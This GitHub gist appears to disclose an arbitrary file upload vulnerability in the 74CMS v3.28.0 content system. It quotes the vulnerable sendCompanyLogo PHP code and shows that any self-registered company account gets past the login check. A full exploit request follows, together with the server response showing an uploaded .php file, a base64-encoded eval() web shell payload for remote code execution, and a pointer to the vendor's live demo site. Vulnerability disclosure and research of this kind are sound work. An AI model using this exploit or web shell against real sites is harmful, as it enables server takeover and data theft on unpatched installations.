Skip to content

Instantly share code, notes, and snippets.

@Southseast
Last active March 21, 2024 13:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save Southseast/9f5284d8ee0f6d91e72eef73b285512a to your computer and use it in GitHub Desktop.
Save Southseast/9f5284d8ee0f6d91e72eef73b285512a to your computer and use it in GitHub Desktop.
74CMS v3.28.0 Index.php File Upload

You can get the latest source code here: https://www.74cms.com/download/detail/161.html .

Also, this is the official demo site: https://74cmsse.tywangcai.com/ .

Fast locate to function: application/v1_0/controller/company/Index.php#sendCompanyLogo.

// 生成企业logo
public function sendCompanyLogo(){
    $imgBase64 = input('post.imgBase64/s','','trim');
    $company_id = 100;

    if (preg_match('/^(data:\s*image\/(\w+);base64,)/',$imgBase64,$res)) {
        //获取图片类型
        $type = $res[2];
        //图片保存路径
        $new_file = "upload/company_logo/".$company_id.'/';
        if (!file_exists($new_file)) {
            mkdir($new_file,0755,true);
        }
        //图片名字
        $new_file = $new_file.time().'.'.$type;
        if (file_put_contents($new_file,base64_decode(str_replace($res[1],'', $imgBase64)))) {
            $id = model('Uploadfile')->insertGetId([
                'save_path' => substr($new_file,6),
                'platform' => 'default',
                'addtime' => time()
            ]);
            $arr = [
                'file_id' => $id,
                'file_url' => config('global_config.sitedomain').'/'.$new_file
            ];
            $this->ajaxReturn(200,'生成成功',$arr);
        } else {
            $this->ajaxReturn(500,'生成失败');
        }
    }
}

It is obvious that only passing an imgBase64 parameter with the POST method can complete the malicious file upload, without any waf.

imgBase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

Additionally, this route also has authentication, described in function application/v1_0/controller/company/Index.php#_initialize.

public function _initialize()
{
    parent::_initialize();
    $this->checkLogin(1);
}

Following this checkLogin function, the address is application/v1_0/controller/common/Base.php.

public function checkLogin($need_utype = 0)
{
    if ($need_utype == 0) {
        $code = 50009;
        $tip = '请先登录';
    } else {
        $tip =
            '当前操作需要登录' .
            ($need_utype == 1 ? '企业' : '个人') .
            '会员';
        $code = $need_utype==1?50011:50010;
    }

    if (
        $this->userinfo === null ||
        ($need_utype > 0 && $this->userinfo->utype != $need_utype)
    ) {
        $this->ajaxReturn($code, $tip);
    }
    // ...
}

This function requires permission as a company member, but this is very simple because it is a frontend function, and anyone can register as a company member.

It's very clear from the official demo site: https://74cmsse.tywangcai.com/member/reg/company that they allow anyone to register as a company user.

So after completing the registration, sending the following EXP can complete the exploit.

POST /v1_0/company/index/sendCompanyLogo HTTP/1.1
Host: localhost:7888
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
user-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: qscms_visitor=%7B%22utype%22%3A1%2C%22mobile%22%3A%2215212345678%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ%22%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

imgBase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

Then the server will return an uploaded file address, which can be accessed directly.

HTTP/1.1 200 OK
Server: nginx/1.19.2
Date: Thu, 07 Mar 2024 13:53:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.20
Access-Control-Allow-Origin: 
Access-Control-Allow-Methods: POST,OPTIONS,GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: x-requested-with,content-type,x-token,safecode,sessionid,admintoken,user-token,platform,subsiteid
Set-Cookie: qscms_visitor=%7B%22utype%22%3A1%2C%22mobile%22%3A%2215212345678%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ%22%7D; expires=Thu, 14-Mar-2024 13:53:11 GMT; Max-Age=604800; path=/
Content-Length: 141

{"code":200,"message":"生成成功","data":{"file_id":"14","file_url":"http:\/\/localhost:7888\/upload\/company_logo\/100\/1709819591.php"}}

Of course, you can replace the above imgBase64, I just used phpinfo() for testing here.

# <?php eval($_POST[1]);
imgBase64=data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==

In this way, you can achieve RCE.

@Southseast
Copy link
Author

Response:

iShot_2024-03-07_22 22 18

Browsing the URL:

iShot_2024-03-07_22 11 05

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment